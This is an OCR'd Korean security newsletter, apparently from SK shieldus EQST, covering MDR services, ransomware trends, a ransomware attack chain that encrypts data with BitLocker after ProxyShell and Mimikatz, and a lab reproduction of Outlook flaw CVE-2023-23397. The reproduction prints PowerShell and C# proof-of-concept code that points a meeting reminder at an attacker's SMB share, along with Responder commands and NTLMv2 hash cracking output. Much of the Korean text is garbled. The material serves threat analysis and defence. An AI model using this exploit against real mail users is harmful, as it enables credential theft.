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B MDR(Managed Detection and Response) A]H]AgH?

MDR AH|AE 7]&, ZRAA 9 HME 24g ZAgd] 24x7 9E RUHA, 24, A g8 9
HUE AFshe LS Afo|H HQb AH|ACE H 7
A= 2HE AP 2dE 4 QIeE 2|Ysitt. MDR AJH|AE EDR, NDR, XDR

infosec

EDR (Endpoint Detection and Response) HOF T3 MH|A

NDR (Network Detection and Response) MDR (Managed Detection and Response)

XDR (Extended Detection and Response)
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B MDR AH|A vs HOF A AH|A

MDR Azt AAZE 918 B9 ARA 0 A B 715 AT HolH Aol
AL A 98] oME BUHY W A BH FHL F3 AFHE MSSP (Managed

Security Service Provider)@} 2PHH-& AT},

® MSSP(Managed Security Service Provider): MSSP &= 7ol M EH= 7|§F Hot &34
e 2 Q] Ex]er 2 HOF AH|AE Algjtth SIEM(EHSE FH 3 oHlE )2
g-gato] HESRS Ht ], Ad g offZfAo]dg HIE]t ofe] HR2oA Het

dlolelE #ASkL FATE ERE 7]9do] Mot @ AR F5che B 27HE%
AH| 2ol MDR AH|A0ke] 7hg & 2pol]d2 A52he 1Y E4] % AL big 7159
AE ARRE & 4 Ut

MSSP @ MDR Wﬂ]* Atolo] AAZE W oA UARE A ZHoA Apolye &
Tgotth. MSSP = AAE RUEHste] 42 fg& 1 At #EsiA|T 24 34 o|lE
2355k 4~ 9lo], MDR AH|AE Ea Hrot nLsty #Hdlox 12 ZAo st o]
gasich Zhzro] Au|A EAES sholsty ApAF kAo Zgket AJH|AS MElsks o] T
Holm, SK YA AL = xH|AE ZAoR AFTste AgAtzE ZAzte] EAEL FHusl

g8 AulaE AlEstal 9l
MSSP vs MDR

MSSP MDR

Managed Security Service Provider Managed Detection & Response

Unknown +
Known Threats — .
(advanced analytics) -
!i

Customer Owned Devices
Health Welfare Monitoring
Rule-based Correlation
Limited Log Data
Sensor Notifications l

Known Threats e l,, -
(rule based)

Depth of Context & Knowledge High

* ZA: https://techgenix.com/mdr—vs—mssp—guide/
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MDR Managed Detection Response T35 HX}
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Keep up with Ransomware

49l A BitLocker
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Microsoft SmartScreen A2 o] H 2k, Magniber G o] wjzo] &

> 1 25H SmartScreen 23| 7|22 488Y += U&= CVE-2023-24880 FAHZ 0| E0
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> O F <A™ CVE-2022-44698 2| MEL HE

MZ-2 DarkPower @], A o 10 9] Fsiz %
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> A MAE g2z 10 ¢l meix /Y
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infosec
New ransomware variant
STOP : .gosw, .goaw, .goba, .cosw, Dharma : .Iike,j3rd
.coaq, .coba, .craa, .qarj, Globeimposter :
.qapo, .qazw, .darz, .dapo, .dazx STARVSTHEFORCESOFEVIL

.darj, tywd, tyos
Chaos : .skull, .Cyber, .nochi
Xorist : .Driveb
VoidCrypt : .reopen, .zxc, youhau
MedusalLocker : .skynetwork8, .acessd
Phobos : .Carver, .BACKJOHN, .usr

WastedLocker :
.ccusawasted
Snatch : kmufesd
Spora : Merlin

New ransomware & group

orD»

O
O
O
(e 5

fz\ DarkPower, Abyss, MoneyMessage
.“
)

7 O
OS>
OIEEDD
OINEDD

(s)#e > 4

M=z2 A4

BlackCat(Alphv) ol ¥Eo] WA
EZE dAlsts wiZiES7E  Slojof
A-gqth= A, Config dlo[E]7} JSON g2lo]
ade Aest HEe MAste] SxstT
Hlt}, o]f]of Stop #A

A

[<IR=S
AT

49010 WE A o 8

5 e >

7] BlackCat o] HATL} & H2 AAA

Aol Jtesitte Hib ESR dEIE
ofgt= Moty E3t o HH dHolE o]
o), o= HAE 2Hstr] gk Ad=re] dge
1= Qi

A

M
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Abyss free DATA Money Message
Hello!

1 2 3 4 5 6 >
Guess who!
04-04-2023
Reveal timer: 96h 01m 30s

* EH: 7 258 AflE o]n)

3 Yo A WHEAel 59 ¥ A&EHerR = gtk DarkPower, Abyss,
MoneyMessage = &2|= 3 7i9 IdF©° A5itt, DarkPower ALl 152 vl=, LA
olaztdl T o7 =7t AN |ge tideR FA FolH, dA7EA 10 19 AE
AN, §3] DarkPower & M= 4 % 5 7P 22 ooiE 46l Qe Ao
I QU

I

50 F A WAL ARA FRFNE AYshe Nim2dole A4Eglon] WHET} pdf 2
Hlojgirts 54€ 7T Ak Abysse B4, stet 459 SolA 719 IBAE §F AolEd]
AN v o, MoneyMessage 1EE WEetdAle} slotole] 719k A fEH Aol
55 Hste] Aol AT

oY WHIolE 4B BAS] ofele WEor Asehn glom, thd Fkeh /9L
ggoR BAL ST 5 fF Aolee] YA A ARE AAstel @ube Amsta gt
gk 3RS AR 9 A9 GG ARE TAH: HekS Agdth olHE HelS )
el MENIR AT AAS S Zol Mg Fastnz ZAAE ST Wolut
EAE & 4 gl Hde 2ok gt

Uole] RO NN BHT 4 Gt el

? 28 sz AT Aojols), el LYY 5] oYY DLANYE ALsl] S5} R2ck e B2, AN, $AY
A2l 5 ofe] F15-g AFsP) el Cdojo] vs) Hst] olgirhs §4o) lol SHTE AR olgstr]w vt
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Top5 #d <l

A BAOR FAo| olRelA1

A 3 9 Tops Ao Ea,
A Clop #1019 GoAnywhere MFT FHeFH-E

Atk MY ofH] H5f = A

o83t &4 At AXE FH& & AUt Clop HAEH] 252 1 9 o]%2 &5 A o] gich,
2 Yol GoAnywhere MFT &) FoFHg o] &8s 32S £ty 9a|w msizte] dolgE §5
Ato|Eof AA T AA] the] mjsf A7t SRIE T oheFet 4wl A3 3AE& 85t
AUth= Aol Hra Rt BlackCat HA] thedet AFg+-&

o
BianLian & AZ Yo AL H=d= A

ulZol 7V wel 2B ek,

infosec
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BitLocker & ¢}-83t @A o]

BitLocker recovery

To recover this drive, plug in the USB drive that has the BitLocker recovery
key

please Visit my hacker site https://yourscrewed hahaha to give me money

BitLocker += AES" d1u@]Z&3 oiEx ™ d4ugEe ALEsSt
tofolH o3t re2 dFAHo=E S7F W] o
glo|EE HS5t=t] AHE-SH =
dodlstol FHAQ o5& FdtHe= FAolth 55| dest drnHEeS A4 A8 dut
Addolet 22 Windows AlAde] 7[2Aoz yWiEo] Sl= 7|&

o}

2%

ol

A9}

il

93 U cefolug gBEL. Bilocker 02 % Wl AFAAE ofe] T sl
A4H 02 WASHT glel Fo7t Bast.

BitLocker & o}-&3 s ol= MS Exchange™ AW 2] FoFd(CVE-2021-34473, CVE-2021-
34523, CVE-2021-31207)& B z7] HAEE Agsinz 7de ostr] eias g

Zokdo] HAE ddlelEE "Wasith. £3] BitLocker & <83 Aol
AAEdE A ALHd 2 &de d¥ 5 JeHE 2] iAot dfe] Fasith mEbA
AHEAHES HE Rl AR 9l FHA Heb &R0 digh A& AHolEE fASt] Hf-gslof
gt}

B g7 953t duese] 25

R Az v g ks eEE

3

5 afo]lA2ATE A4 A A, WY ATE

Jlol A=

=
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BitLocker & °}-&3F 9ol 4 Au=L 1

/‘ BitLocker Ransomware

infosec

)

)

)

)

» Initial Access
MS Exchange AH{2| ProxyShell3|2E & 0| £
O Credential Access
fﬂ 2 ¥ S8 DefaultAccount #|H2 THalxt 4 RDP AF2AF 1E0| =7}

iEY
n
In
il

g Persistence
O DefaultAccount H'§& O[83t0 Exchange MH 0 HZstD

370 X&48 RAlHE E1E HXTC

‘g Privilege Escalation
LSASSE EIoto] 22| At AEE 2

Lateral Movement
RDPE E8l| =ZH 0|

Impact
? BitLocker2 EZ}O|EE A=3}

A
%7] ZFE MS Exchange A1M9] ProxyShell F9FE2 olgtol 27] AH2 AGL Qo] ¢
A& Sste] ofFolct.

[

w5 9 g olgst] AAHA ARESH= AAQ DefaultAccount A< 2zt 15
RDP ARAF 170l F7Foh= mbeld S Aasich

F713t DefaultAccount A2 ©]-8-5A Exchange AHlo]l A&sH1L F42] A&4e FA5=
2 & APAA o P9 AEAS FAAIXIH

1% Z22AA RYEY T2 LSASS(Local Security Authority Subsystem Service)& H 5}
of Tzt Aol thet NTMLINT LAN Manager) siAl& €3 st sll&Sict.

olZA =gt #eAt A o|-g54 RDPE &l SHORE o]Fdto] BitLockersE HPAIA
ujsff A|AE]O] EetolHE B SIAIXIT)

[e)
2] 92
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AuE]e 1 - SAE o3+t

infosec

Initial Access

Credential Access

[ 11190 ]
s
L3
In
]
o]
2
tal

U Y YHAT|R| RHER
as A Lojsx| %7

T1555

Persistence

oto|HQl X =7 2X|E
Ux|st7] st
HOot A EQof HX Ea

Privilege Escalation

T1136

LsAss2o| HI x| 2fsl
Hot AT E o] Eg3}
Lateral Movement

II RDPE £3 = 0|5 %X

[ T1547.008

T1210
T1570

st ALt e dR

Impact =
RDP H|Zd3}

gast HojE WY

(11286

A O] FopdE olgstR= s F{efRlol wixE HHom A|AH AHO|EE Zldsfof gttt
Microsoft®] 7F&&1 #|o]2](https://www.catalog.update.microsoft.com)ol] F&3sto] ALE
WS HASHH AHolE BES SIY 4 o, FoFHol Hix H His ==
H-GAIAHOF gt

PEES 4 42 HPAZ 5 QA d2E ZRo A ATES FolskA] gdotof shH, whdd
g2 HH 9 59 £27F "asit.

T35 ool BAol w A2 Hx|Fly] 9J5te] Kot AZEYo] A7} Wadka LSASS
HIxE oAstr] flsto] LSASSES] s 2o+ ASR(Attack Surface Reduction)'® 2 =
< o o
)

8
g B2 AT 5 G A9 AN FHo| AT Het ATEF IS AR A

nprjEto 2 updo] ostE e S dHHls) Sa%t HolHe H Wdde Fs HolHE
Hﬁﬂ Y23 ohE gAlez W] blolEE Hoshal Hlo

BEsof gtk WY dole BT
g AH 7 2, mg dlole ¢
BEF S+ QS Aol Gt
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BitLocker & ¢}-83 fd ol A AlveEle 2
infosec
/‘ Bitlocker Ransomware
Initial Access
( » oY YE2E FAEZ Sof AT 2 2S §EE
O Credential Access
q QY NS E| USE AE COE 2T AISAIF TH3|AF AUBIO 2 AbA
- d A2 5ol et 45 EFE ¢ F0 A™AIZ] 22| A HT S5

Y

=Y

0 Persistence
Lo X&E o2 Meo] zot7| s NS W40l Exchange MM 2 2

Privilege Escalation
MimikatzE O 835t MH 2| A EF

At
ra
ol

Impact

BitLocker2 EZ2I0|BEE =5}t

Lateral Movement
23t #e[xt AFE 0|835t¢] RDPE S oE 0
A

BAAG AR A% 5T 2L Y ARE opAe Be AAwe] 9 4 drEwt

i
=

olgA drr H ¥ 4L Fol Sweet Potato, Juicy Potato &t E Ae T

Qresty daste] Bz Ao Ao

it

rr

&Aooz AHo] AAsH] 5l ARL AT Sd AY 2R Exchange AHol| Az}

Mimikatz & olg5tel M| Bela A NTML A& 225t sh=gt obs o A%
o|§3) RDP 2 2% o5& AaAste] o|5a A2HolA Bitlocker & AYAA Sefoln
REXLASE

i o

7 Windows 9% HRE @Hel Belat A YSohed AHgehs BT
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AU e 2 - Mimikatz A7)

Mimikatz & Windows A|AEO|A ZFAZSHINTLM 384, Kerberos™ ElF &) HRE FHdl+=
Lotk Mimikatz &= 27 A|2®H AA AH 4T FAE FE51= lsadump, 2191 HH}
Kerberos ElAS ©FHsh= sekurlsa, Z2AA EZS BASIAY 2 AR oZ HASH= token

et 71se AlgRith AT EA go] ARESHE 7152 lsadump, sckurlsa, Kerberos 7]

L=
[6)
So glek.

HEIZ MTSt= LSASS o H22| LHES SH St

o
sof 23¢ YEE EFetrf

Isadump

o MEX 21T EE ¥

= S°of oA 2% ArRe| JIFEES EF L.

sekurlsa

Kerberos = £l Kerberos TEEZ9| 1= MHE ELXDBIC}

A2l 2 ol ARg-eE Mimikatz €] 7]52 NTML sjAl 23 7]soltt. sig Alvta] oA AfH]
A Al NTML siAlE 259t I42 ot £

infosec
HsE HAYE s
i Mimikatz &34 NTLM SHA] =& @ 1.
! : . & - - @ |
e g o) !
! 0 !
\ 270 M 23 lo1 NTLM 8jA| 84S |
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Step 1) 2191 AR &3

=

Mimikatz & Adsto] “sekurlsa::logonpasswords” HHe deoto] A A|AEY 2121 FHof
U= AREARE] 2% AHE S

oM At BFo Az FE g & HHA Aol siFshs NTLM sjAE 742t

Step 3) NTLM 4] %

FE3% NTML 3]]/\]% ]ohn the Ripper, Cain & Abel, Hashcat 59 =75 AMg35te] =3t
ot e HE AP EQIE Ho] 5 Fo WS AMESte] siAl g2 SRt

B oLsg RE 99 48 Amste] MUNTY FEIE dolehE Zohfe B A4

20 A 52 AMgste] AAE vUAEE u)g Al4tsle] HolB& uHEal, o]F olgste] SiAE Fhe whaA Jatste] HUHTE
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Lateral Movement
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m zt1 AJO|E
URL : https://www.swascan.com/bitlocker—ransomware—malware—analysis/

URL :http://idchowto.com/%EC%9C%88%EB%8F %84%E C%9A%B0—~%EB%BI%84%ED %8 A%B8%ER %9
D%BC%EC%BB%A4—
bitlocker—-%EB%IE%ICHEC%84%ACIPECI%IB%A8%ECHI6%BA—-%EC%82%ACTHEA%B3I%A0%EC%S2
Y% ACHEB%A1%80-%EB%B6%84%EC%84%9D/

URL : https://thestack.technology/ransomware—attack—bitlocker/
URL : https://iboysoft.com/wiki/bitlocker—virus.html

URL : https://www.bleepingcomputer.com/news/security/clop—ransomware—gang—begins—extorting—

goanywhere—zero—day—victims/

URL : https://www.securityweek.com/microsoft—smartscreen—zero—day—exploited—to—deliver—-magniber—

ransomware/

URL : https://www.bleepingcomputer.com/news/security/ransomware—gang—posts—video—of—data—stolen—

from—minneapolis—schools/
URL : https://www.boannews.com/media/view.asp?idx=114832

URL : https://www.bleepingcomputer.com/news/security/BianLian—ransomware—gang—shifts—focus—to—-

pure—data—extortion/

URL : https://www.securityweek.com/ransomware—group—claims—theft—of—valuable—spacex—data—from-

contractor/

URL : https://www.scmagazine.com/analysis/ransomware/north—korea—using—healthcare-ransomware-

attacks—to—fund—further—cybercrime—feds—say
URL : http://www.datanet.co.kr/news/articleView.html?idxno=154612
URL : https://www.boannews.com/media/view.asp?idx=116717

URL : https://thehackernews.com/2023/02/north—korean—hackers—targeting.html
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Research & Technique

Microsoft Outlook &St %45 FFH (CVE-2023-23397)

2023 ¥ 3 9, ZYE H|2s] A A B 7)Ao A AHEH= Microsoft ¢ AW @ ol A7z
A E Qo] Outlook ol A Wt F5 FFH(CVE-2023-23397)0] A=t CVE-2023-23397 &
Aol Aot of%E defF= v dE 715 Reminden) S ETH 2 WAAE AT
o SR AR e 4" 7159 &9 o 9] ARE 34 AHY P FaR AAsto]
A E wofztell Al Bul=tl, ot Outlook Zete]AEZL FAAS] Mg SMB? H&S 6]
NTLMv2?siA &2 Q15-S Alkstr] wiol msizte] Q15 Hu7F SAA A &t

sewy « T 2E Oy o 222 S
MEsEA a°c/1arc Y POy TC 18°C/6°C 28 A+ P
sag 209 2oy s2y
()8 28¢ (2)9 3g1¢ (&)10 2¢ &)11 3¢ (B)12 4€ (813
= 0E e - X
=06 E|Q| Ol
=g 72 @16 82 7| FE S22 01g0] ASUL @20
20231 38 22 509 0% 5:30
SK shieldus 24t
] =80 20| 2SLCH |
(2)22 14¥ (2)23 15¢ (S)24 ()27
(829 21¢ as 202 (M4
;LIEP Sk 5h|e|du5 2A
HED
(26 28Y (8)7 29¢ (B8 B GAZE NE HRC) (S
5E M LAl 2E(S O 22 25 s 8w

a9 1. uE &9 71%s FF A

E£3] Outlook HF A% FFH(CVE-2023-23397)2 mlsfizte] wiAx] A& 7ot Adaglo]
el 4" Vol AAEY And, wAAE sAlske AReRE Fofdol 5] wEe
CVSS” =7k 10 4 whef 9.8 7&2 =7 BT @A Microsoft olA 241 WA HHO|EE
SANRAR, A5 2 4 e WHel EASHL 2lo, FsiE 9] fsiAd bt dis e

g8t Ao] Waste

21 SMB(Server Message Block)#&t AFE Q] o Z@]7lo] oA TS 93 & 5 9lon HFE HEYIAF An Tz T4
AHIAE QY 4 s AYete U ESA oY 3§ ZREZolh

22 NTLM(New Technology LAN Manager)v2 & $1%-$-0]| 4] 7\1]—3— ol= 9% 2 EE 5 SR, Challenge/Response 14
T2, 719AE AlFste 719 NTLM oA 7/ids daaES 4835 WA 2 ol

B 35 Fokg 5+ A12"(Common Vulnerability Scoring System) AFEAAE HeEo] AlZt: W 938 Hrulsh= 8§

mlo

sl 4%,
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ofgfle] EX Microsoft oA 75t CVE-2023-23397 FoFd mjx|S Agst Aoz s ¥HA

2]e] BE Outlook WAL FAo| FFsltt.
X A4 WAQ023 9 49 39 199 WS AgsteiTt A g 3

)
)
N
>
olr
olt
el
Ko

S/W #& Qs
Current Channel: Version 2302 (Build 16130.20306)
Monthly Enterprise Channel: Version 2301 (Build 16026.20238)
Monthly Enterprise Channel: Version 2212 (Build 15928.20298)
Semi-Annual Enterprise Channel (Preview): Version 2301 (Build 16130.20306)
Semi-Annual Enterprise Channel: Version 2208 (Build 15601.20578)
Microsoft M& Semi-Annual Enterprise Channel: Version 2202 (Build 14931.20944)
Office 2021 Retail: Version 2301 (Build 16130.20306)
Office 2019 Retail: Version 2302 (Build 16130.20306)
Office 2016 Retail: Version 2302 (Build 16130.20306)
Office LTSC 2021 Volume Licensed: Version 2108 (Build 14332.20481)
Office 2019 Volume Licensed: Version 1808 (Build 10396.20023)

X Android, iOS, Mac, & & Outlook(OWA) & CHE Microsoft 365 AlH|A= Hek2 BHX| b=Ct
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m 20 Ye

CVE-2023-23397 FeFd= olsfistr] {lsf Bast §ofet 7)ol Het dgolnt.

1Yl Ho|
AFH Wl 37 Il MEEO UAs FXE FASH| $ME, O OiYS
2OI5H7] ot o=z UNC 228 &3l dFH HESRZ &2 3+ oo
UNC
. . Hg = QULCH UNC EEE WWservernamelW[sharename]#[path]¥[filenmae]
(Universal Naming
Convention) Ze HWAo=Z TAIE|DY, WW192.168.102.65WsmbWegstwav 2 20| AFSE ==
ALt
MAPI A2 SEZZIY WoM TALES EUWAL, xf“ol ol A S
(Messaging Application EAME MXRH UE o HEE = UZE |FE= Microsoft =P
Program Interface) T2 =4 QIE I o|AO|LC},
PlayReminderSound Outlook Ol A DJ2| &2 7|5& X|&St= APIO|Ct.

MAPI &89 282 e 7HHof CHet oj2| L& 7[3ho] Xt 32 S2H0|HE
Z0|M Y= 2|2 TS R|FBCE

MAPI £49| AL£= 0] HO| True 2 FOZ|Of US Al
PidLidReminderOverride PidLidReminderPlaySound %41t PidLidReminderFileParameter =4 2k
MElSt ZH=Z Dj2| ¢E sHS gdste = ULt
SecurityZone O|2h HQF FHMO|M At&St= HQH FHo| s
olostH F== gte| 2lbj= Chzah 2L

-1: NoZone, X| ™= %'QOI g2 2o

PidLidReminderFileParameter

mjo

ok
rr
2
N
fjo

t

iy

=2 9|0
SecurityZone
4 1: Intranet E?" °._|EEP'5'J Y2 o|o|f
Aes AOIE FYZ 2[0] (URL THE ER)

2: Trusted, 22 = QU
3: Internet, QIE{Ll A

4: Untrusted, XM|2t=l AIOJE ¥ HEZ <9|O|
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B 33 AL2

= °l

CVE-2023-23397 Z°FA

infosec

A Ao ot 2t
©) 2 gAIx| 4

PETEREET

O o4

"

. — | [
F\

Outlook

©) NTLMv2 SHA| B3
S4xt
o Domain Controller 21& A&
Web S i
o Controller @)% N2W T
a9 2. 33 AveEe
©® 34X= CVE-2023-23397 FAFE Rt 49 X0 HA|XE mSHXHOA &SSO
@ LlsfXt= AKX MEDE o4d =0 HAIX|E =45t
® Outlook SEI0|AEGM =40t ot =0 HAIX|Z O|2] 2& 7|50 25510, moiits 2HE SHAt
MH2| SMB O NTLMv2 Q15E AlEdtd, NTLMv2 7t 23 ElCt.
@ SZAXE ZFE NTLMv2 215 HEZ Admin Domain Controller 0ff 9152 A|=3tCt
® &ZX= Admin Domain Controller O ®Z3t0] L|s{Xte| MHE ZrtsiC},
B EAE 37 24 3R
HAE 34L& {L=ste] CVE-2023-23397 9] T2 748 AtmE o)
o|E qE
Windows 10 Pro 22H2(0S 2 E 19045.2006)
1| i X} Microsoft Office Professional Plus 2016(15.0.4420.1017) 32 H|E
(192.168.102.79)
Ubuntu 20.04.4 LTS (Focal Fossa)
34X}
(192.168.102.65)
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B o H2E

Step 1) AR AH oA ResponderZ AMg5to] SMB AHZ Eolok AFHHE F=53,

j 5 [e]
Responder £ https://github.com/SpiderLabs/Responder & E3fi Ct2E2 4 UCE

ClE

of

$ sudo ./Responder.py responder -l eth0 -v

$ sudo ./Responder.py responder -I etho -v

1% 3. Responder A%

Step 2) A UlE] L™ V1S &S] HAsl, & mde] F=E

o = 4
Az=z ARSI T35l ng g s)so] AA R SelEE AAT XS 16

Aol A W
% PoC FE+ https://github.com/apiOcradle/ CVE-2023-23397-POC-Powershell 9|4 th-28FS- 4= Qlt},

funct ion Send-CalendarWTlHlesk ($recipient. $remotefilepath, Emestinesubject, $meet ingbody)

1

ZF AHe] SMB

$0utlook = Hew—Object —comdbject Outlook. Applicatior

fipewcal = $outlook Createlten( olfppointment | ten’ J

newcal ReminderSoundFile = "##192. 168, 102, BottsnbHeast . way"| 2] TPUS| UNC A=
newcal Hec pients.aoal east laosno || fhes }IJ_L|OH;(}D| {)||:|-||DI 7= A

newcal  MeetingStatus = [Microsoft . Office. Interop. Qut|ook. DIHeetlngStatus ‘olMeeting
fnewcal .Subject = "BISTLab”

frnewcal .Location = " jruru

frewcal .Body = "BXSTLab Insisht

fnewcal .Start = get—date

fnewcal .End = (get-date) . AddHours(2)

prnewcal . Remindertverridelefault =1 o2 &2 7|5 Y| S=F =435 gl

fnewcal .ReminderSet = 1 =0 “lo =l o =

finewcal .ReminderPlaysound = 1 UNC ‘EEO'“H “fcél% :‘rf =| EE 2H

TNEWC Al . Sendl, J

a9 4. o =df HAA AF 9 A

 Responder & UEHZ ol Aulze] 32 hibe 23 A5 FAshd] AgHt w72, YEYD ERuE H2An
S

2Aste] AEARE ASshsd AgEE Bolt
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https://github.com/SpiderLabs/Responder

FN'
e}
©

Step 3) FAAZE HWll b Zf| HAAE ARt TsAte] Outlook ZEtolAENA LA
] o

) X PSPakel =3 s
oA vl=] deo] etE, FAATT AT UNC A== 5 ZE7F AGH,
Search Current Mailbox & | Current Mailbox - 76 Mo Response Required [ Calendar..
Al U g N eqstlabwhblithe
nrea By Date ~
— ! EQSTLab
4 Today As the meeting organizer, you do not need to respond to the meeting.
egstlabwhblithe i R
EC?STLab @ O 10:50 When 20235 3E 312 2822 28 1059-2% 12:59 Location jururu
EQSTLab Insight <end=>
) 1 Reminder(s) — s
4 Wednesday EQSTLak In3|ght
eqstlabwhblithe@ S 7] EQSTLab
EQSTLab 155 25 446 SFEI1M592023EH 3 NY IS Y
Insight jururu
4 Tuesday 5 minutes over...
blithe Wh
u =h 27 10:51

Microsoft Outlook
Microsoft Outiook Test Me... (2h) 27 1...
This is an email message sent

Dismiss

Click Snooze to be reminded in:

4 Monday 5 minutes ~| | snooze Dismiss All

BAicwmenft Chitlomle

a9 5. 448 4A =df #HAA 4

Step 4) FAAH= SMB Q152 Alkgh HJOHX}—J NTLMv2 siA] gt geleit),

NTLMv2-SSP Client
NTLMv2-SSP Username
NTLMv2-SSP Hash 2

RédQééted'shéEe — \\EQSTLAB.\IPCS
a9y 6. &4 A @

Step 5) =Sl Al 42 John the ripper, hashcat T3 2 FH ES &-golo] YR
AYSE FET 4 k.

Proceeding with single, rules:Single

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status

eqst (eqst)
1g 0:00:00:00 DONE 1/3 (2023-03-31 11:21) 2.083g/s 16.66p/s 16.66c/s 16.66C/s eq

.eqstVICTIM1
Use the "--show --format=netntlmv2" options to display all of the cracked passwo
rds reliably
Session completed.

a9 7. A g 28t 92 HagE FE
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B FUH T2 24
CVE-2023-23397 F<Fd-2 Outlook ZTto|dES AAY 7|5 F vy dHE HYoh=
PlayReminderSound API o &Agtty. API of& ulg] <dHo 4 md HZRE AHsh=
PidLidReminderFileParameter &7 WA|x]2] 42| o H2E Agetal, vz g9 7|5 542
SHA5}eH= PidLidReminderOverride &40 &) St}
PidLidReminderFileParameter Canonical
Property
OHE|Z - 2022.03. 24. - H= Ol 22 28 - 7|HA 52 b O

Applies to: Outlook 2013 | Outlook 2016

Specifies the filename of the sound that a client should play when the reminder for that object becomes overdue.

Property Value

Associated properties: dispidReminderFileParam
Property set: PSETID_Common

Long ID (LID): 0x0000851F

Data type: PT_UNICODE

Area: Reminder

19 8. PidLidReminderFileParameter <74

PidLidReminderOverride Canonical Property

OlE|Z « 2022.06.01. - A= 0O 22 Z& - 7|0{*teQ < mEHH

Applies to: Outlook 2013 | Outlook 2016

Specifies whether the client should respect the values ofthe[dispidReminderPlaySound (PidLidReminderPIaySound)]and

dispidReminderFileParam ( PidLidReminderFileParameter )] properties.

Property Value

Associated propertias: dispidReminderOverride
Property set: PSETID_Commeon

Long 1D (LID): 1x0000851C

Data type: FT_BOOLEAN

Area: Reminder

1% 9. PidLidReminderOverride <43
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PidLidReminderFileParameter £A-2 Ad mtdo] AZE UNC A2z AAS 4 9= BExdo]
At FAAE olE &85 UNC A= 2L AHle] SMB, WebDAV 5oz AAT 4= 9]
J .o

a2 LA

= o

T35t PidLidReminderOverride &A4-8 WAIZ7} o] &£A4-8 True & AAT 4 Qe EA|Ho]
_Q_

a

ik, o] &Ao] True & AAIo] 98 79, PidLidReminderFileParameter & HAZE HXA
AMEotA %31, PidLidReminderPlaySound 440l True 2 v wm|g] 49 7|5 F&oteH
ket
static void Main{string[] args)
{

using (var appointment = new Appointment(

new Sender("egstlabwhblithe@egstlab.com”, "EQSTLab"),

new Representing("egstlabwhblithe@egstlab.com”, "EQSTLab™),"Glve ME HASH")}
{

appointment.Recipients.AddTo("victim@eqstlab.com”, "Victim");

appointment.Subject = "Hash";

appointment.Location = "outlook”;

appointmentMeetingStart = DateTime.Now.Date;

appointment.MeetingEnd = DateTime.Now.Date. AddDays(1).Date;

appointment.AllDay = true;

appointment.BodyText = "Steal Hash";

appointment.BodyHtml = "<html> <head> </head><body> <b>thanx u 4 the hash</b></body= </html>";
appointment.5entOn = DateTime.UtcNow;

appointment.importance = MsgKitEnums.Messagelmportance IMPORTANCE_NORMAL;
appointment.lconindex = MsgKit.Enums.Messagelconindex.UnsentMail;
appointment.PidLidReminderFileParameter = @"##192.168.102.65%smbWegstwav";
appointment.PidLidReminderOverride = true;

appointment.Save({@ Ciwtest.msg );

a9 10. $4& wAste] o 2o HAIA] A4
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Wby, o] £ &40l xR XS WA £AY AL ula) IH sl FHGEE
FastET B BAA 44T 28 BUe AL TN TAA SMB Au=
NTLMv2 a4 9158 AR AZshy] o] Has o uAxs S450s A tor oz

HH7} gH9,

&4 BAIR| 4

WW[SZXI M ]Wsound.wav
~ AlA
Outlook H| ¥ A{H] ;;;grékg | 8fj X}

ok
I
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1) E¢A3%E Microsoft Iz Yo

CVE-2023-23397 FAdL BE WA Microsoft Outlook oA FZ6}2 =, Microsoft oA
2023 ¥ 3 ¥ 14 ¥ Windows & Outlook 2] HeF sfx|5 F /Rt CVE-2023-23397 o o
fx] S AHEHE MapUrlToZone WAE 352 Fa 48 mtde H=Eo tf
SecurityZone 2 A= Qlste] A 4 e UEYA d(=ZFE JEZ, A=EE 5 8l
HEHD) E §74 PC LH—rJ oAyt 585t s w%] F ik

el ok e

int v8[3]; // [esptle
char va[9l; /7 [ 1Fh] [ebp-Dh
int vie; J/ [esp+2d abp-4
= e;
[e] = &;
memset(v3, @, sizeof(vd));
vie = @;
= &FileName; —
L= *(al + 596); bool _ _thiscall sub_14575C9(void *this)
if ( (*(ve +24) & 1) I=0) i
{ HRESULT SecurityManager; // ea>

IInternetSecurityManager *v3; // cax

5= (®(va + 24) &2) != @
i ( (%(va +24) 82) 1=9) bool va; // b
{ unsigned int v6; // [esp BYREF
5 = &FileName; IInternetSecurityManager ppSu.[4], // [esp+l4h] [ebp-10h] B
if (= + 28) )
= *(vd + 28)
sub 4’\‘:](‘27( £)s Hapza =7} MapUrlToZone H4E &= T UNC Z=22| Zone2| 22 v60f X%

= CoInternetCreateSecurityManager (@, ppSH, 8);

| i r f ( ‘5ub_14575€3(&Fi1eName) )|

-
} ! 51[@]->1pVtbl->MapUrlToZone) (ppsii[@], this, &6, 12289), Securitytanager < ) )
215& er, 80B464432);
if ( la2) i " . "
return sub_4953A8(v8); ;| Zone2| 30| 2013} (ex: 2 YIERH, HE|E ¢ AE AMO|E)H TrueE ta

sub _5299@3(v9); ?
= [ IH 1
if ( 1o[e] ) psh[e] = @;
return sub_4953A8(v3); (v3->1pVtbl->Release)(v3);
if ( sub_78F723(76) || !'sub_B9B20E() ) }
sub_546F80(76, )i return vid;
» = va[e]; }
}
if ( )
{
if ( )

H
sub_1267CF1(v3);

return sub_4953A8(vE);

a9 12. 7] WE 24

2] FAANA FHeF mtEtu|e PidLidReminderFileParameter @] HOE A= 4 Qe Y
Agrstarel, FA4E Heltet FAF AD AW AL, AEske vEQIY o
HRAE Fol SMB, WebDAV o 22 ZeholdEst HE® & Qi AMAE okgd] Hot
4% & 9o,

= 12 o
lo 1o

» SecurityZone ©|3F Ht oA ARESH= HF o sidshs A4 ag ou|itt
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Windows Server 2016 Datacenter
AD server (A “ZE.: ADserver/EQST12#9)
DNS (egstlab.com)
(192.168.102.84)
Windows 10 Pro 22H2(0S ZE 19045.2006)
Microsoft Office Professional Plus 2016(16.0.16227.20202) 32 H|E
| 8H X} AE FE: eqgst/eqgst
DNS (victim.egstlab.com.)
(192.168.102.79)
Ubuntu 20.04.4 LTS (Focal Fossa)
A™™HE: kali/kali
DNS (attacker.egstlab.com)
(192.168.102.65)

AD AMH{

OH
N
R

Office M 9] HH+= th3yt £t

||I||icmsn.1ftla Outlook® 2016 M50 (Version 2303 Build 16.0.16227.20202) 32-bit I
Product [D: 00346-40000-00000-AA626
Session ID: 3A054E43-5460-458A-99BC-AATCO0TTRA45

Third Party MNotices - X
BT Microsoft

Microsoft Software License Terms
MICROSOFT SOFTWARE LICEMSE TERMS
OFFICE 2016 DESKTOP Last updated Septe
IF¥OU LIVE IN [OR IF YOUR PRINCIPAL PLACE OF x| A Ol
